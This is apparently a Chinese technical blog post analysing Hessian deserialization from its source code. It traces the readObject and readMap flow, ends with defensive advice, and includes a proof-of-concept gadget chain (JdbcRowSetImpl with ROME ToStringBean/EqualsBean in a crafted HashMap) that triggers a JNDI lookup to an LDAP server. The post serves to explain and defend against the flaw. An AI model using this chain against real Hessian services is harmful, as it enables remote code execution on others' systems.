从源码角度分析hessian特别的原因
字数 1784 2025-08-22 12:22:54

Hessian反序列化漏洞原理与利用分析

一、Hessian反序列化基础

1.1 Hessian简介

Hessian是一种轻量级的二进制RPC协议,由Caucho公司开发,主要用于Java应用之间的远程调用。与Java原生序列化相比,Hessian具有以下特点:

  • 采用二进制格式,体积更小
  • 跨语言支持
  • 序列化/反序列化速度更快
  • 反序列化机制与Java原生不同

1.2 基础环境搭建

<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.63</version>
</dependency>

基础测试类:

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import java.io.*;

public class Test implements Serializable {
    public static void main(String[] args) throws IOException {
        Person person = new Person();
        person.setAge(18);
        person.setName("Feng");
        
        byte[] s = serialize(person);
        System.out.println((Person)deserialize(s));
    }
    
    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }
    
    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
}

二、Hessian反序列化流程分析

2.1 反序列化入口

Hessian反序列化的核心流程从HessianInput.readObject()开始:

int tag = read();
switch (tag) {
    case 'N': return null;
    case 'T': return Boolean.valueOf(true);
    case 'F': return Boolean.valueOf(false);
    case 'I': return Integer.valueOf(parseInt());
    case 'L': return Long.valueOf(parseLong());
    case 'D': return Double.valueOf(parseDouble());
    case 'd': return new Date(parseLong());
    case 'x':
    case 'X': {
        _isLastChunk = tag == 'X';
        _chunkLength = (read() << 8) + read();
        return parseXML();
    }
    case 'M': {
        String type = readType();
        return _serializerFactory.readMap(this, type);
    }
    // 其他case...
}

2.2 反序列化流程详解

  1. 读取类型标识:根据第一个字节判断对象类型
  2. 处理Map类型:当tag为'M'(ASCII 77)时,进入Map处理流程
  3. 获取反序列化器:通过getDeserializer(type)获取对应类型的反序列化器
public Deserializer getDeserializer(String type) throws HessianProtocolException {
    if (type == null || type.equals(""))
        return null;
    
    // 检查缓存
    if (_cachedTypeDeserializerMap != null) {
        synchronized (_cachedTypeDeserializerMap) {
            deserializer = (Deserializer)_cachedTypeDeserializerMap.get(type);
        }
        if (deserializer != null) return deserializer;
    }
    
    // 检查静态类型映射
    deserializer = (Deserializer)_staticTypeMap.get(type);
    if (deserializer != null) return deserializer;
    
    // 处理数组类型
    if (type.startsWith("[")) {
        Deserializer subDeserializer = getDeserializer(type.substring(1));
        if (subDeserializer != null)
            deserializer = new ArrayDeserializer(subDeserializer.getType());
        else
            deserializer = new ArrayDeserializer(Object.class);
    } else {
        try {
            Class cl = loadSerializedClass(type);
            deserializer = getDeserializer(cl);
        } catch (Exception e) {
            log.warning("Hessian/Burlap: '" + type + "' is an unknown class in " + 
                       getClassLoader() + ":\n" + e);
        }
    }
    
    // 缓存反序列化器
    if (deserializer != null) {
        if (_cachedTypeDeserializerMap == null)
            _cachedTypeDeserializerMap = new HashMap(8);
        synchronized (_cachedTypeDeserializerMap) {
            _cachedTypeDeserializerMap.put(type, deserializer);
        }
    }
    return deserializer;
}
  1. 实例化对象:通过instantiate()创建对象实例
  2. 填充字段:循环读取字段并赋值
public Object readMap(AbstractHessianInput in, Object obj) throws IOException {
    try {
        int ref = in.addRef(obj);
        while (!in.isEnd()) {
            Object key = in.readObject();
            FieldDeserializer2 deser = (FieldDeserializer2)_fieldMap.get(key);
            if (deser != null)
                deser.deserialize(in, obj);
            else
                in.readObject();
        }
        in.readMapEnd();
        Object resolve = resolve(in, obj);
        if (obj != resolve)
            in.setRef(ref, resolve);
        return resolve;
    } catch (IOException e) {
        throw e;
    } catch (Exception e) {
        throw new IOExceptionWrapper(e);
    }
}
  1. 字段赋值:使用Unsafe API直接操作内存赋值
public void deserialize(AbstractHessianInput in, Object obj) throws IOException {
    String value = null;
    try {
        value = in.readString();
        _unsafe.putObject(obj, _offset, value);
    } catch (Exception e) {
        logDeserializeError(_field, obj, value, e);
    }
}

三、Hessian反序列化漏洞利用

3.1 典型利用链

Hessian反序列化漏洞利用通常依赖于触发对象的hashCode()方法,以下是典型利用链:

import com.caucho.hessian.io.*;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;

public class Hessian_JNDI {
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("ldap://localhost:9999/EXP");
        
        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        
        HashMap hashMap = makeMap(equalsBean, "1");
        byte[] s = serialize(hashMap);
        deserialize(s);
    }
    
    public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        
        Class<?> nodeC = Class.forName("java.util.HashMap$Node");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, 
                                                           Object.class, nodeC);
        nodeCons.setAccessible(true);
        
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        
        setValue(s, "table", tbl);
        return s;
    }
    
    // 辅助方法...
}

3.2 漏洞触发原理

  1. HashMap反序列化:当反序列化HashMap时,会调用putVal()方法
  2. 触发hashCodeputVal()会调用key的hashCode()方法
  3. 利用链展开
    • EqualsBean.hashCode() -> EqualsBean.beanHashCode()
    • ToStringBean.toString()
    • 最终触发JNDI注入或任意方法调用

3.3 关键点分析

  1. 非Serializable支持:Hessian默认不要求类实现Serializable接口
protected Serializer getDefaultSerializer(Class cl) {
    if (_defaultSerializer != null)
        return _defaultSerializer;
    
    if (!Serializable.class.isAssignableFrom(cl) && !_isAllowNonSerializable) {
        throw new IllegalStateException("Serialized class " + cl.getName() + 
                                      " must implement java.io.Serializable");
    }
    
    if (_isEnableUnsafeSerializer && JavaSerializer.getWriteReplace(cl) == null) {
        return UnsafeSerializer.create(cl);
    } else
        return JavaSerializer.create(cl);
}

可通过设置允许非序列化类:

SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
input.setSerializerFactory(serializerFactory);
  1. 字段处理限制:Hessian不会序列化transient和static字段
protected HashMap<String, FieldDeserializer2> getFieldMap(Class<?> cl, 
    FieldDeserializer2Factory fieldFactory) {
    
    HashMap<String, FieldDeserializer2> fieldMap = new HashMap<>();
    for (; cl != null; cl = cl.getSuperclass()) {
        Field[] fields = cl.getDeclaredFields();
        for (int i = 0; i < fields.length; i++) {
            Field field = fields[i];
            if (Modifier.isTransient(field.getModifiers()) || 
                Modifier.isStatic(field.getModifiers()))
                continue;
            // ...
        }
    }
    return fieldMap;
}

四、Hessian与原生反序列化的区别

特性 Hessian Java原生序列化
序列化接口要求 可选(可配置) 必须实现Serializable
transient字段处理 自动忽略 可被ObjectOutputStream覆盖
static字段处理 自动忽略 不参与序列化
反序列化触发点 主要在put操作触发hashCode readObject方法直接触发
利用链 依赖hashCode触发 依赖readObject或readExternal
性能 更高 较低

五、防御措施

  1. 升级Hessian版本:使用最新版本修复已知漏洞
  2. 配置白名单:限制可反序列化的类
  3. 禁用危险特性:避免设置setAllowNonSerializable(true)
  4. 输入过滤:对反序列化数据进行校验
  5. 使用安全框架:如Spring Security提供防护机制

六、总结

Hessian反序列化漏洞的核心在于其独特的反序列化机制:

  1. 不强制要求Serializable接口,扩大了攻击面
  2. 通过HashMap的put操作触发hashCode,形成了独特的利用链
  3. 对transient和static字段的特殊处理影响了部分利用链
  4. 高性能设计带来的安全权衡

理解这些特性对于防御Hessian反序列化攻击至关重要,开发者应根据实际需求选择合适的安全策略。

Hessian反序列化漏洞原理与利用分析 一、Hessian反序列化基础 1.1 Hessian简介 Hessian是一种轻量级的二进制RPC协议,由Caucho公司开发,主要用于Java应用之间的远程调用。与Java原生序列化相比,Hessian具有以下特点: 采用二进制格式,体积更小 跨语言支持 序列化/反序列化速度更快 反序列化机制与Java原生不同 1.2 基础环境搭建 基础测试类: 二、Hessian反序列化流程分析 2.1 反序列化入口 Hessian反序列化的核心流程从 HessianInput.readObject() 开始: 2.2 反序列化流程详解 读取类型标识 :根据第一个字节判断对象类型 处理Map类型 :当tag为'M'(ASCII 77)时,进入Map处理流程 获取反序列化器 :通过 getDeserializer(type) 获取对应类型的反序列化器 实例化对象 :通过 instantiate() 创建对象实例 填充字段 :循环读取字段并赋值 字段赋值 :使用Unsafe API直接操作内存赋值 三、Hessian反序列化漏洞利用 3.1 典型利用链 Hessian反序列化漏洞利用通常依赖于触发对象的 hashCode() 方法,以下是典型利用链: 3.2 漏洞触发原理 HashMap反序列化 :当反序列化HashMap时,会调用 putVal() 方法 触发hashCode : putVal() 会调用key的 hashCode() 方法 利用链展开 : EqualsBean.hashCode() -> EqualsBean.beanHashCode() ToStringBean.toString() 最终触发JNDI注入或任意方法调用 3.3 关键点分析 非Serializable支持 :Hessian默认不要求类实现Serializable接口 可通过设置允许非序列化类: 字段处理限制 :Hessian不会序列化transient和static字段 四、Hessian与原生反序列化的区别 | 特性 | Hessian | Java原生序列化 | |---------------------|----------------------------|--------------------------| | 序列化接口要求 | 可选(可配置) | 必须实现Serializable | | transient字段处理 | 自动忽略 | 可被ObjectOutputStream覆盖 | | static字段处理 | 自动忽略 | 不参与序列化 | | 反序列化触发点 | 主要在put操作触发hashCode | readObject方法直接触发 | | 利用链 | 依赖hashCode触发 | 依赖readObject或readExternal | | 性能 | 更高 | 较低 | 五、防御措施 升级Hessian版本 :使用最新版本修复已知漏洞 配置白名单 :限制可反序列化的类 禁用危险特性 :避免设置 setAllowNonSerializable(true) 输入过滤 :对反序列化数据进行校验 使用安全框架 :如Spring Security提供防护机制 六、总结 Hessian反序列化漏洞的核心在于其独特的反序列化机制: 不强制要求Serializable接口,扩大了攻击面 通过HashMap的put操作触发hashCode,形成了独特的利用链 对transient和static字段的特殊处理影响了部分利用链 高性能设计带来的安全权衡 理解这些特性对于防御Hessian反序列化攻击至关重要,开发者应根据实际需求选择合适的安全策略。